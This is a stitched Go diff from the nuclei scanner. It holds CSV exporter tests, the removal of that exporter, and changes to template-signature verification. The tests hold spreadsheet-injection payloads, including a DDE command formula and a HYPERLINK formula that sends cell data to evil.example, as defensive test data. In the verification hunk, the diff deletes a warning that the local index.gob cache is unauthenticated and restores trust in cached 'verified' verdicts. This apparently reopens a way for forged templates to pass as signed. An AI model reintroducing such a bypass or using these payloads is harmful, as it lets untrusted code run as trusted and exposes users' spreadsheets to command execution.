|
||||
t.Helper()
|
||||
f, err := os.Open(path)
|
||||
require.NoError(t, err)
|
||||
defer func() { _ = f.Close() }()
|
||||
|
||||
records, err := encodingcsv.NewReader(f).ReadAll()
|
||||
require.NoError(t, err)
|
||||
return records
|
||||
}
|
||||
|
||||
// column resolves a header name to its index so assertions do not depend on
|
||||
// the ordinal position of a column.
|
||||
func column(t *testing.T, name string) int {
|
||||
t.Helper()
|
||||
for i, h := range header {
|
||||
if h == name {
|
||||
return i
|
||||
}
|
||||
}
|
||||
t.Fatalf("unknown CSV column %q", name)
|
||||
return -1
|
||||
}
|
||||
|
||||
// export writes a single event through the exporter and returns the decoded
|
||||
// records (header row included).
|
||||
func export(t *testing.T, event *output.ResultEvent) [][]string {
|
||||
t.Helper()
|
||||
file := filepath.Join(t.TempDir(), "results.csv")
|
||||
|
||||
exporter, err := New(&Options{File: file})
|
||||
require.NoError(t, err)
|
||||
require.NoError(t, exporter.Export(event))
|
||||
require.NoError(t, exporter.Close())
|
||||
|
||||
return readCSV(t, file)
|
||||
}
|
||||
|
||||
func TestCSVExporterWritesHeaderAndFlattenedRows(t *testing.T) {
|
||||
ts := time.Date(2025, 1, 2, 3, 4, 5, 0, time.UTC)
|
||||
event := &output.ResultEvent{
|
||||
TemplateID: "CVE-2021-44228",
|
||||
Type: "http",
|
||||
Info: model.Info{
|
||||
Name: "Apache Log4j2 Remote Code Execution",
|
||||
Description: "Apache Log4j2 JNDI features do not protect against attacker controlled LDAP endpoints.",
|
||||
Reference: stringslice.NewRawStringSlice([]string{"https://logging.apache.org/log4j/2.x/security.html"}),
|
||||
SeverityHolder: severity.Holder{Severity: severity.Critical},
|
||||
Classification: &model.Classification{
|
||||
CVEID: stringslice.StringSlice{Value: "CVE-2021-44228"},
|
||||
CWEID: stringslice.StringSlice{Value: "CWE-502"},
|
||||
CVSSMetrics: "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
|
||||
CVSSScore: 10.0,
|
||||
},
|
||||
},
|
||||
Host: "https://example.com",
|
||||
IP: "93.184.216.34",
|
||||
Port: "443",
|
||||
Matched: "https://example.com/api",
|
||||
MatcherName: "jndi-ldap",
|
||||
ExtractorName: "version",
|
||||
ExtractedResults: []string{"2.14.1"},
|
||||
CURLCommand: "curl -X 'GET' 'https://example.com/api'",
|
||||
Timestamp: ts,
|
||||
}
|
||||
|
||||
records := export(t, event)
|
||||
require.Len(t, records, 2, "expected header + one data row")
|
||||
require.Equal(t, header, records[0])
|
||||
require.Equal(t, []string{
|
||||
"CVE-2021-44228",
|
||||
"Apache Log4j2 Remote Code Execution",
|
||||
"http",
|
||||
"critical",
|
||||
"https://example.com",
|
||||
"93.184.216.34",
|
||||
"443",
|
||||
"https://example.com/api",
|
||||
"jndi-ldap",
|
||||
"version",
|
||||
"2.14.1",
|
||||
"CVE-2021-44228",
|
||||
"CWE-502",
|
||||
"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
|
||||
"10",
|
||||
"Apache Log4j2 JNDI features do not protect against attacker controlled LDAP endpoints.",
|
||||
"https://logging.apache.org/log4j/2.x/security.html",
|
||||
"curl -X 'GET' 'https://example.com/api'",
|
||||
"2025-01-02T03:04:05Z",
|
||||
}, records[1])
|
||||
}
|
||||
|
||||
func TestCSVExporterHandlesMissingClassification(t *testing.T) {
|
||||
event := &output.ResultEvent{
|
||||
TemplateID: "tech-detect",
|
||||
Type: "http",
|
||||
Info: model.Info{
|
||||
Name: "Wappalyzer Technology Detection",
|
||||
SeverityHolder: severity.Holder{Severity: severity.Info},
|
||||
},
|
||||
Host: "example.org",
|
||||
Matched: "example.org",
|
||||
Timestamp: time.Date(2025, 6, 1, 0, 0, 0, 0, time.UTC),
|
||||
}
|
||||
|
||||
records := export(t, event)
|
||||
require.Len(t, records, 2)
|
||||
// classification-derived and reference columns must be empty, not "0" or
|
||||
// "<nil>", when the template carries no such metadata.
|
||||
for _, name := range []string{"cve-id", "cwe-id", "cvss-metrics", "cvss-score", "reference", "description"} {
|
||||
require.Equal(t, "", records[1][column(t, name)], "column %s should be empty", name)
|
||||
}
|
||||
require.Equal(t, "info", records[1][column(t, "severity")])
|
||||
// every row still carries exactly one cell per header column
|
||||
require.Len(t, records[1], len(header))
|
||||
}
|
||||
|
||||
// TestCSVExporterEscapesStructuralCharacters is the reason this exporter writes
|
||||
// through encoding/csv rather than leaving CSV assembly to the consumer: every
|
||||
// value below is attacker-influenced and contains characters that are
|
||||
// structural in CSV. A hand-rolled join (jq's @csv on a subset of fields, an
|
||||
// fmt.Sprintf with commas, ...) either forges extra columns or truncates a row.
|
||||
// Here the values must survive a full write/parse round trip byte for byte and
|
||||
// the row must keep exactly len(header) cells.
|
||||
func TestCSVExporterEscapesStructuralCharacters(t *testing.T) {
|
||||
const (
|
||||
commaValue = "a,b,c"
|
||||
quoteValue = `he said "hi", then left`
|
||||
newlineValue = "line1\nline2"
|
||||
crlfValue = "line1\r\nline2"
|
||||
mixedValue = "GET /a,b?q=\"x\" HTTP/1.1\r\nHost: evil\n"
|
||||
)
|
||||
|
||||
event := &output.ResultEvent{
|
||||
TemplateID: commaValue,
|
||||
Type: quoteValue,
|
||||
Info: model.Info{
|
||||
Name: mixedValue,
|
||||
Description: newlineValue,
|
||||
Reference: stringslice.NewRawStringSlice([]string{commaValue, quoteValue}),
|
||||
SeverityHolder: severity.Holder{Severity: severity.High},
|
||||
},
|
||||
Host: quoteValue,
|
||||
IP: commaValue,
|
||||
Port: newlineValue,
|
||||
Matched: mixedValue,
|
||||
MatcherName: crlfValue,
|
||||
ExtractorName: quoteValue,
|
||||
ExtractedResults: []string{commaValue, quoteValue, newlineValue},
|
||||
CURLCommand: mixedValue,
|
||||
Timestamp: time.Date(2025, 6, 1, 0, 0, 0, 0, time.UTC),
|
||||
}
|
||||
|
||||
file := filepath.Join(t.TempDir(), "results.csv")
|
||||
exporter, err := New(&Options{File: file})
|
||||
require.NoError(t, err)
|
||||
require.NoError(t, exporter.Export(event))
|
||||
require.NoError(t, exporter.Close())
|
||||
|
||||
// 1. the raw file must quote the cells and double the embedded quotes
|
||||
raw, err := os.ReadFile(file)
|
||||
require.NoError(t, err)
|
||||
require.Contains(t, string(raw), `"a,b,c"`)
|
||||
require.Contains(t, string(raw), `"he said ""hi"", then left"`)
|
||||
|
||||
// 2. the file must still parse as exactly two records of len(header) cells,
|
||||
// i.e. no injected/forged columns and no truncated row
|
||||
records := readCSV(t, file)
|
||||
require.Len(t, records, 2)
|
||||
require.Len(t, records[0], len(header))
|
||||
require.Len(t, records[1], len(header))
|
||||
|
||||
// 3. every value must round trip unchanged. encoding/csv collapses a \r\n
|
||||
// inside a quoted field to \n when reading it back, so the expectation is
|
||||
// normalised the same way; nothing else about the value may change.
|
||||
lf := func(s string) string { return strings.ReplaceAll(s, "\r\n", "\n") }
|
||||
|
||||
row := records[1]
|
||||
require.Equal(t, commaValue, row[column(t, "template-id")])
|
||||
require.Equal(t, quoteValue, row[column(t, "template-type")])
|
||||
require.Equal(t, lf(mixedValue), row[column(t, "template-name")])
|
||||
require.Equal(t, quoteValue, row[column(t, "host")])
|
||||
require.Equal(t, commaValue, row[column(t, "ip")])
|
||||
require.Equal(t, newlineValue, row[column(t, "port")])
|
||||
require.Equal(t, lf(mixedValue), row[column(t, "matched-at")])
|
||||
require.Equal(t, quoteValue, row[column(t, "extractor-name")])
|
||||
require.Equal(t, newlineValue, row[column(t, "description")])
|
||||
require.Equal(t, lf(mixedValue), row[column(t, "curl-command")])
|
||||
require.Equal(t, lf(crlfValue), row[column(t, "matcher-name")])
|
||||
require.Equal(t, "high", row[column(t, "severity")])
|
||||
|
||||
// extracted results and references are newline separated inside their single
|
||||
// quoted cell, so a value that itself contains a comma stays one value
|
||||
require.Equal(t,
|
||||
[]string{commaValue, quoteValue, "line1", "line2"},
|
||||
strings.Split(row[column(t, "extracted-results")], "\n"))
|
||||
require.Equal(t,
|
||||
[]string{commaValue, quoteValue},
|
||||
strings.Split(row[column(t, "reference")], "\n"))
|
||||
}
|
||||
|
||||
func TestCSVExporterJoinsMultipleCVEsAndCWEs(t *testing.T) {
|
||||
event := &output.ResultEvent{
|
||||
TemplateID: "multi-cve",
|
||||
Type: "http",
|
||||
Info: model.Info{
|
||||
Name: "Multiple CVEs",
|
||||
SeverityHolder: severity.Holder{Severity: severity.Medium},
|
||||
Classification: &model.Classification{
|
||||
CVEID: stringslice.StringSlice{Value: []string{"CVE-2020-0001", "CVE-2020-0002"}},
|
||||
CWEID: stringslice.StringSlice{Value: []string{"CWE-79", "CWE-80"}},
|
||||
CVSSScore: 5.5,
|
||||
},
|
||||
},
|
||||
Host: "example.net",
|
||||
Matched: "example.net",
|
||||
Timestamp: time.Date(2025, 6, 1, 0, 0, 0, 0, time.UTC),
|
||||
}
|
||||
|
||||
records := export(t, event)
|
||||
require.Len(t, records, 2)
|
||||
require.Equal(t, "CVE-2020-0001, CVE-2020-0002", records[1][column(t, "cve-id")])
|
||||
require.Equal(t, "CWE-79, CWE-80", records[1][column(t, "cwe-id")])
|
||||
require.Equal(t, "5.5", records[1][column(t, "cvss-score")])
|
||||
}
|
||||
|
||||
// TestCSVExporterFlushesRowsBeforeClose asserts rows are readable while the
|
||||
// scan is still running, rather than only after Close.
|
||||
func TestCSVExporterFlushesRowsBeforeClose(t *testing.T) {
|
||||
file := filepath.Join(t.TempDir(), "results.csv")
|
||||
|
||||
exporter, err := New(&Options{File: file})
|
||||
require.NoError(t, err)
|
||||
|
||||
event := &output.ResultEvent{
|
||||
TemplateID: "streamed",
|
||||
Type: "http",
|
||||
Info: model.Info{
|
||||
Name: "Streamed Result",
|
||||
SeverityHolder: severity.Holder{Severity: severity.Low},
|
||||
},
|
||||
Host: "example.com",
|
||||
Matched: "example.com",
|
||||
Timestamp: time.Date(2025, 6, 1, 0, 0, 0, 0, time.UTC),
|
||||
}
|
||||
require.NoError(t, exporter.Export(event))
|
||||
|
||||
records := readCSV(t, file)
|
||||
require.Len(t, records, 2, "row should be on disk before Close")
|
||||
require.Equal(t, "streamed", records[1][column(t, "template-id")])
|
||||
|
||||
require.NoError(t, exporter.Close())
|
||||
}
|
||||
|
||||
// TestCSVExporterNeutralizesSpreadsheetFormulas covers the second half of the
|
||||
// escaping problem. encoding/csv stops a value from breaking out of its cell,
|
||||
// but it does not stop a spreadsheet from evaluating that cell as a formula.
|
||||
// ExtractedResults in particular is raw response-derived data, so a target can
|
||||
// choose exactly what lands in it.
|
||||
func TestCSVExporterNeutralizesSpreadsheetFormulas(t *testing.T) {
|
||||
const (
|
||||
ddePayload = `=cmd|'/C calc'!A0`
|
||||
hyperlinkPayload = `=HYPERLINK("http://evil.example/log?d="&A1,"click")`
|
||||
atPayload = `@SUM(1+1)`
|
||||
plusPayload = `+1+1`
|
||||
tabPayload = "\t=1+1"
|
||||
crPayload = "\r=1+1"
|
||||
safeValue = "http://127.0.0.1:8080/index.html"
|
||||
negativeNumber = "-1"
|
||||
)
|
||||
|
||||
event := &output.ResultEvent{
|
||||
TemplateID: ddePayload,
|
||||
Type: "http",
|
||||
Info: model.Info{
|
||||
Name: atPayload,
|
||||
Description: plusPayload,
|
||||
Reference: stringslice.NewRawStringSlice([]string{safeValue, hyperlinkPayload}),
|
||||
SeverityHolder: severity.Holder{Severity: severity.High},
|
||||
Classification: &model.Classification{
|
||||
CVSSScore: 9.8,
|
||||
},
|
||||
},
|
||||
Host: tabPayload,
|
||||
Matched: safeValue,
|
||||
MatcherName: crPayload,
|
||||
ExtractedResults: []string{safeValue, ddePayload, negativeNumber, hyperlinkPayload},
|
||||
CURLCommand: ddePayload,
|
||||
Timestamp: time.Date(2025, 6, 1, 0, 0, 0, 0, time.UTC),
|
||||
}
|
||||
|
||||
records := export(t, event)
|
||||
require.Len(t, records, 2)
|
||||
row := records[1]
|
||||
require.Len(t, row, len(header))
|
||||
|
||||
// every formula-triggering cell is prefixed with a single apostrophe, and
|
||||
// the original value is recoverable by removing exactly that apostrophe
|
||||
for _, tc := range []struct {
|
||||
column string
|
||||
want string
|
||||
}{
|
||||
{"template-id", ddePayload},
|
||||
{"template-name", atPayload},
|
||||
{"description", plusPayload},
|
||||
{"host", tabPayload},
|
||||
{"matcher-name", crPayload},
|
||||
{"curl-command", ddePayload},
|
||||
} {
|
||||
got := row[column(t, tc.column)]
|
||||
require.Equal(t, "'"+tc.want, got, "column %s must be neutralized", tc.column)
|
||||
require.Equal(t, tc.want, strings.TrimPrefix(got, "'"), "column %s must stay recoverable", tc.column)
|
||||
}
|
||||
|
||||
// values that are not formulas are left byte-for-byte alone, so the export
|
||||
// does not become littered with apostrophes
|
||||
require.Equal(t, safeValue, row[column(t, "matched-at")])
|
||||
require.Equal(t, "high", row[column(t, "severity")])
|
||||
// a numeric cell stays numeric and sortable rather than becoming text
|
||||
require.Equal(t, "9.8", row[column(t, "cvss-score")])
|
||||
|
||||
// multi-value cells are neutralized per element, not just at the start of
|
||||
// the cell, because consumers split these cells back apart
|
||||
require.Equal(t,
|
||||
[]string{safeValue, "'" + ddePayload, negativeNumber, "'" + hyperlinkPayload},
|
||||
strings.Split(row[column(t, "extracted-results")], "\n"))
|
||||
require.Equal(t,
|
||||
[]string{safeValue, "'" + hyperlinkPayload},
|
||||
strings.Split(row[column(t, "reference")], "\n"))
|
||||
}
|
||||
|
||||
func TestNeutralizeFormula(t *testing.T) {
|
||||
for _, tc := range []struct {
|
||||
name string
|
||||
input string
|
||||
want string
|
||||
}{
|
||||
{"empty", "", ""},
|
||||
{"plain text", "nuclei", "nuclei"},
|
||||
{"url", "http://example.com/a=b", "http://example.com/a=b"},
|
||||
{"equals", "=1+1", "'=1+1"},
|
||||
{"plus", "+1+1", "'+1+1"},
|
||||
{"at", "@SUM(1)", "'@SUM(1)"},
|
||||
{"tab", "\t=1+1", "'\t=1+1"},
|
||||
{"carriage return", "\r=1+1", "'\r=1+1"},
|
||||
{"negative integer stays numeric", "-1", "-1"},
|
||||
{"negative float stays numeric", "-1.5", "-1.5"},
|
||||
{"positive signed number stays numeric", "+9.8", "+9.8"},
|
||||
{"minus leading text is neutralized", "-cmd|'/C calc'!A0", "'-cmd|'/C calc'!A0"},
|
||||
{"leading space before trigger", " =1+1", "' =1+1"},
|
||||
{"leading spaces and control before trigger", " \x01 @SUM(1)", "' \x01 @SUM(1)"},
|
||||
{"leading newline before trigger", "\n=1+1", "'\n=1+1"},
|
||||
{"space only", " ", " "},
|
||||
{"inner trigger is not a trigger", "a=1+1", "a=1+1"},
|
||||
{"already neutralized is left alone", "'=1+1", "'=1+1"},
|
||||
{"non-ascii leading rune", "é=1+1", "é=1+1"},
|
||||
{"exponent number stays numeric", "-1e5", "-1e5"},
|
||||
{"leading dot number stays numeric", "-.5", "-.5"},
|
||||
{"infinity is not a plain number", "-Inf", "'-Inf"},
|
||||
{"nan is not a plain number", "+NaN", "'+NaN"},
|
||||
{"hex float is not a plain number", "-0x1p-2", "'-0x1p-2"},
|
||||
{"number with trailing text", "-1+cmd", "'-1+cmd"},
|
||||
{"number with trailing newline", "-1\n", "'-1\n"},
|
||||
{"lone sign", "-", "'-"},
|
||||
} {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
require.Equal(t, tc.want, neutralizeFormula(tc.input))
|
||||
})
|
||||
}
|
||||
}
|
||||
@@ -2,7 +2,6 @@ package reporting
|
||||
|
||||
import (
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/output"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/csv"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/es"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/jsonexporter"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/jsonl"
|
||||
@@ -50,8 +49,6 @@ type Options struct {
|
||||
JSONExporter *jsonexporter.Options `yaml:"json"`
|
||||
// JSONLExporter contains configuration options for JSONL Exporter Module
|
||||
JSONLExporter *jsonl.Options `yaml:"jsonl"`
|
||||
// CSVExporter contains configuration options for CSV Exporter Module
|
||||
CSVExporter *csv.Options `yaml:"csv"`
|
||||
// PDFExporter contains configuration options for PDF Exporter Module
|
||||
PDFExporter *pdf.Options `yaml:"pdf"`
|
||||
// MongoDBExporter containers the configuration options for the MongoDB Exporter Module
|
||||
|
||||
@@ -12,7 +12,6 @@ import (
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/model/types/stringslice"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/output"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/reporting/dedupe"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/csv"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/es"
|
||||
json_exporter "github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/jsonexporter"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/jsonl"
|
||||
@@ -150,13 +149,6 @@ func New(options *Options, db string, doNotDedupe bool) (Client, error) {
|
||||
}
|
||||
client.exporters = append(client.exporters, exporter)
|
||||
}
|
||||
if options.CSVExporter != nil {
|
||||
exporter, err := csv.New(options.CSVExporter)
|
||||
if err != nil {
|
||||
return nil, errkit.Wrapf(err, "could not create export client: %v", ErrExportClientCreation)
|
||||
}
|
||||
client.exporters = append(client.exporters, exporter)
|
||||
}
|
||||
if options.PDFExporter != nil {
|
||||
exporter, err := pdf.New(options.PDFExporter)
|
||||
if err != nil {
|
||||
@@ -237,7 +229,6 @@ func CreateConfigIfNotExists() error {
|
||||
SplunkExporter: &splunk.Options{},
|
||||
JSONExporter: &json_exporter.Options{},
|
||||
JSONLExporter: &jsonl.Options{},
|
||||
CSVExporter: &csv.Options{},
|
||||
PDFExporter: &pdf.Options{},
|
||||
MongoDBExporter: &mongo.Options{},
|
||||
}
|
||||
|
||||
@@ -3,7 +3,6 @@ package reporting
|
||||
import (
|
||||
"bufio"
|
||||
"bytes"
|
||||
encodingcsv "encoding/csv"
|
||||
"encoding/json"
|
||||
"os"
|
||||
"path/filepath"
|
||||
@@ -12,7 +11,6 @@ import (
|
||||
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/model/types/severity"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/output"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/csv"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/jsonexporter"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/jsonl"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/markdown"
|
||||
@@ -109,49 +107,6 @@ func TestReportingDedupeRedirectedInputs(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestReportingCSVExporter(t *testing.T) {
|
||||
t.Run("empty block does not fail client creation", func(t *testing.T) {
|
||||
t.Chdir(t.TempDir())
|
||||
client, err := New(&Options{CSVExporter: &csv.Options{}}, "", true)
|
||||
require.NoError(t, err)
|
||||
client.Close()
|
||||
require.FileExists(t, "nuclei-results.csv")
|
||||
})
|
||||
|
||||
t.Run("export through the client", func(t *testing.T) {
|
||||
csvPath := filepath.Join(t.TempDir(), "report.csv")
|
||||
client, err := New(&Options{CSVExporter: &csv.Options{File: csvPath}}, "", false)
|
||||
require.NoError(t, err)
|
||||
|
||||
event := &output.ResultEvent{
|
||||
TemplateID: "extract",
|
||||
Type: "http",
|
||||
Host: "example.com",
|
||||
URL: "http://example.com",
|
||||
Matched: "http://example.com",
|
||||
ExtractedResults: []string{"=cmd|'/C calc'!A0"},
|
||||
}
|
||||
event.Info.SeverityHolder.Severity = severity.Info
|
||||
require.NoError(t, client.CreateIssue(event))
|
||||
// the same finding again is deduplicated like for every other exporter
|
||||
require.NoError(t, client.CreateIssue(event))
|
||||
client.Close()
|
||||
|
||||
f, err := os.Open(csvPath)
|
||||
require.NoError(t, err)
|
||||
defer func() { _ = f.Close() }()
|
||||
records, err := encodingcsv.NewReader(f).ReadAll()
|
||||
require.NoError(t, err)
|
||||
require.Len(t, records, 2)
|
||||
require.Contains(t, records[1], "'=cmd|'/C calc'!A0")
|
||||
})
|
||||
|
||||
t.Run("unwritable path fails client creation", func(t *testing.T) {
|
||||
_, err := New(&Options{CSVExporter: &csv.Options{File: filepath.Join(t.TempDir(), "missing", "r.csv")}}, "", true)
|
||||
require.Error(t, err)
|
||||
})
|
||||
}
|
||||
|
||||
type recordingTracker struct {
|
||||
mu sync.Mutex
|
||||
urls []string
|
||||
|
||||
@@ -289,18 +289,6 @@ func (template *Template) SelectedBy(selection protocols.TemplateSelection) bool
|
||||
return selection.Allows(template.Path)
|
||||
}
|
||||
|
||||
// TemplateIDs returns the IDs of the members selection selects; a nil
|
||||
// selection selects every member.
|
||||
func (e *ClusterExecuter) TemplateIDs(selection protocols.TemplateSelection) []string {
|
||||
ids := make([]string, 0, len(e.operators))
|
||||
for _, operator := range e.operators {
|
||||
if selection == nil || selection.Allows(operator.templatePath) {
|
||||
ids = append(ids, operator.templateID)
|
||||
}
|
||||
}
|
||||
return ids
|
||||
}
|
||||
|
||||
// operatorsFor returns the members selected for input by per-target profiles.
|
||||
func (e *ClusterExecuter) operatorsFor(input *contextargs.MetaInput) []*clusteredOperator {
|
||||
if e.options.TargetScope == nil {
|
||||
|
||||
@@ -912,14 +912,29 @@ func applyTemplateVerification(template *Template, data []byte) {
|
||||
}
|
||||
|
||||
options := template.Options
|
||||
verificationDigest, _ := templateVerificationDigest(data, template)
|
||||
verificationDigest, digestErr := templateVerificationDigest(data, template)
|
||||
template.verificationDigest = verificationDigest
|
||||
|
||||
// index.gob is an unauthenticated local file. A forged entry can pair
|
||||
// Verified=true with a trusted fingerprint and a digest of the
|
||||
// unsigned payload, so never copy a cached verdict. Always verify
|
||||
// against DefaultTemplateVerifiers. Unsigned templates still
|
||||
// short-circuit in ExtractSignatureAndContent with no ECDSA.
|
||||
// check if the template is verified
|
||||
// only valid templates can be verified or signed
|
||||
if digestErr == nil && options.TemplateVerificationCallback != nil && options.TemplatePath != "" {
|
||||
if cached := options.TemplateVerificationCallback(options.TemplatePath); cached != nil {
|
||||
if cached.ContentDigest == verificationDigest && cached.ContentDigest != ([sha256.Size]byte{}) && cachedTemplateVerificationIsTrusted(cached) {
|
||||
template.Verified = cached.Verified
|
||||
template.TemplateVerifier = cached.Verifier
|
||||
template.verifierFingerprint = cached.VerifierFingerprint
|
||||
options.TemplateVerifier = cached.Verifier
|
||||
// Mirror verification onto options for execution-time checks.
|
||||
options.Verified = cached.Verified
|
||||
//nolint
|
||||
if !(template.Verified && template.TemplateVerifier == "projectdiscovery/nuclei-templates") {
|
||||
template.Options.RawTemplate = data
|
||||
}
|
||||
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
var verifier *signer.TemplateSigner
|
||||
|
||||
@@ -958,6 +973,20 @@ func (template *Template) VerifierFingerprint() [sha256.Size]byte {
|
||||
return template.verifierFingerprint
|
||||
}
|
||||
|
||||
func cachedTemplateVerificationIsTrusted(cached *protocols.TemplateVerification) bool {
|
||||
if !cached.Verified || cached.VerifierFingerprint == ([sha256.Size]byte{}) {
|
||||
return false
|
||||
}
|
||||
|
||||
for _, verifier := range signer.DefaultTemplateVerifiers {
|
||||
if verifier.Identifier() == cached.Verifier && verifier.Fingerprint() == cached.VerifierFingerprint {
|
||||
return true
|
||||
}
|
||||
}
|
||||
|
||||
return false
|
||||
}
|
||||
|
||||
func templateVerificationDigest(data []byte, template *Template) ([sha256.Size]byte, error) {
|
||||
componentDigests := make([]byte, 0, sha256.Size*(len(template.GetFileImports())+1))
|
||||
dataDigest := sha256.Sum256(data)
|
||||
|
||||
+33
-369
@@ -726,9 +726,6 @@ func TestParseTemplateExecutesJavascriptInitAfterVerification(t *testing.T) {
|
||||
testutils.Cleanup(options)
|
||||
})
|
||||
|
||||
signer := ciTemplateSigner(t)
|
||||
withDefaultTemplateSigner(t, signer)
|
||||
|
||||
executerOptions := testutils.NewMockExecuterOptions(options, nil)
|
||||
executerOptions.TemplatePath = "verified-javascript-init.yaml"
|
||||
templateSource := `id: verified-javascript-init
|
||||
@@ -744,7 +741,12 @@ javascript:
|
||||
code: |
|
||||
Export("verified-javascript-init")
|
||||
`
|
||||
template, err := templates.ParseTemplateFromReader(strings.NewReader(signTemplateForTest(t, signer, templateSource)), nil, executerOptions)
|
||||
executerOptions.TemplateVerificationCallback = func(templatePath string) *protocols.TemplateVerification {
|
||||
require.Equal(t, executerOptions.TemplatePath, templatePath)
|
||||
return trustedVerificationForTest(templateSource)
|
||||
}
|
||||
|
||||
template, err := templates.ParseTemplateFromReader(strings.NewReader(templateSource), nil, executerOptions)
|
||||
require.NoError(t, err)
|
||||
require.True(t, template.Verified)
|
||||
require.True(t, template.Options.Verified)
|
||||
@@ -759,9 +761,6 @@ func TestParseTemplateExecutesPreprocessedJavascriptInitAfterVerification(t *tes
|
||||
testutils.Cleanup(options)
|
||||
})
|
||||
|
||||
signer := ciTemplateSigner(t)
|
||||
withDefaultTemplateSigner(t, signer)
|
||||
|
||||
executerOptions := testutils.NewMockExecuterOptions(options, nil)
|
||||
executerOptions.TemplatePath = "verified-preprocessed-javascript-init.yaml"
|
||||
templateSource := `id: verified-preprocessed-javascript-init
|
||||
@@ -777,7 +776,12 @@ javascript:
|
||||
code: |
|
||||
Export("verified-preprocessed-javascript-init")
|
||||
`
|
||||
template, err := templates.ParseTemplateFromReader(strings.NewReader(signTemplateForTest(t, signer, templateSource)), nil, executerOptions)
|
||||
executerOptions.TemplateVerificationCallback = func(templatePath string) *protocols.TemplateVerification {
|
||||
require.Equal(t, executerOptions.TemplatePath, templatePath)
|
||||
return trustedVerificationForTest(templateSource)
|
||||
}
|
||||
|
||||
template, err := templates.ParseTemplateFromReader(strings.NewReader(templateSource), nil, executerOptions)
|
||||
require.NoError(t, err)
|
||||
require.True(t, template.Verified)
|
||||
require.True(t, template.Options.Verified)
|
||||
@@ -805,46 +809,12 @@ func trustedVerificationForTest(data string, importedContents ...string) *protoc
|
||||
}
|
||||
}
|
||||
|
||||
// ciTemplateSigner returns a signer backed by the CI test keypair.
|
||||
func ciTemplateSigner(t *testing.T) *templatesigner.TemplateSigner {
|
||||
t.Helper()
|
||||
|
||||
s, err := templatesigner.NewTemplateSignerFromFiles("signer/testdata/ci.crt", "signer/testdata/ci-private-key.pem")
|
||||
require.NoError(t, err)
|
||||
|
||||
return s
|
||||
}
|
||||
|
||||
// withDefaultTemplateSigner prepends the given signer to the default
|
||||
// verifiers for the duration of the test.
|
||||
func withDefaultTemplateSigner(t *testing.T, s *templatesigner.TemplateSigner) {
|
||||
t.Helper()
|
||||
|
||||
original := templatesigner.DefaultTemplateVerifiers
|
||||
templatesigner.DefaultTemplateVerifiers = append([]*templatesigner.TemplateSigner{s}, original...)
|
||||
t.Cleanup(func() {
|
||||
templatesigner.DefaultTemplateVerifiers = original
|
||||
})
|
||||
}
|
||||
|
||||
// signTemplateForTest returns src with a valid signature appended by the
|
||||
// given signer. When importPaths are non-empty the signature also binds the
|
||||
// contents of those files, read from disk at signing time.
|
||||
func signTemplateForTest(t *testing.T, s *templatesigner.TemplateSigner, src string, importPaths ...string) string {
|
||||
t.Helper()
|
||||
|
||||
signable := &templates.Template{ImportedFiles: importPaths}
|
||||
signature, err := s.Sign([]byte(src), signable)
|
||||
require.NoError(t, err)
|
||||
|
||||
return src + "\n" + signature
|
||||
}
|
||||
|
||||
func TestParseTemplateVerificationUsesLoadedImportContents(t *testing.T) {
|
||||
options := testutils.DefaultOptions.Copy()
|
||||
loadedCode := `Export("loaded-import")`
|
||||
diskCode := `Export("disk-import")`
|
||||
importPath := filepath.Join(t.TempDir(), "import.js")
|
||||
require.NoError(t, os.WriteFile(importPath, []byte(loadedCode), 0o600))
|
||||
require.NoError(t, os.WriteFile(importPath, []byte(diskCode), 0o600))
|
||||
options.LoadHelperFileFunction = func(helperFile, _ string, _ catalog.Catalog) (io.ReadCloser, error) {
|
||||
require.Equal(t, importPath, helperFile)
|
||||
return io.NopCloser(strings.NewReader(loadedCode)), nil
|
||||
@@ -866,11 +836,12 @@ info:
|
||||
javascript:
|
||||
- code: %q
|
||||
`, importPath)
|
||||
executerOptions.TemplateVerificationCallback = func(templatePath string) *protocols.TemplateVerification {
|
||||
require.Equal(t, executerOptions.TemplatePath, templatePath)
|
||||
return trustedVerificationForTest(templateSource, loadedCode)
|
||||
}
|
||||
|
||||
signer := ciTemplateSigner(t)
|
||||
withDefaultTemplateSigner(t, signer)
|
||||
|
||||
template, err := templates.ParseTemplateFromReader(strings.NewReader(signTemplateForTest(t, signer, templateSource, importPath)), nil, executerOptions)
|
||||
template, err := templates.ParseTemplateFromReader(strings.NewReader(templateSource), nil, executerOptions)
|
||||
require.NoError(t, err)
|
||||
require.True(t, template.Verified)
|
||||
require.Equal(t, loadedCode, template.RequestsJavascript[0].Code)
|
||||
@@ -892,10 +863,11 @@ info:
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}"
|
||||
javascript:
|
||||
- init: |
|
||||
set("init-status", "executed")
|
||||
code: |
|
||||
Export("revoked-verifier")
|
||||
`
|
||||
executerOptions.TemplateVerificationCallback = func(templatePath string) *protocols.TemplateVerification {
|
||||
require.Equal(t, executerOptions.TemplatePath, templatePath)
|
||||
@@ -913,321 +885,9 @@ http:
|
||||
template, err := templates.ParseTemplateFromReader(strings.NewReader(templateSource), nil, executerOptions)
|
||||
require.NoError(t, err)
|
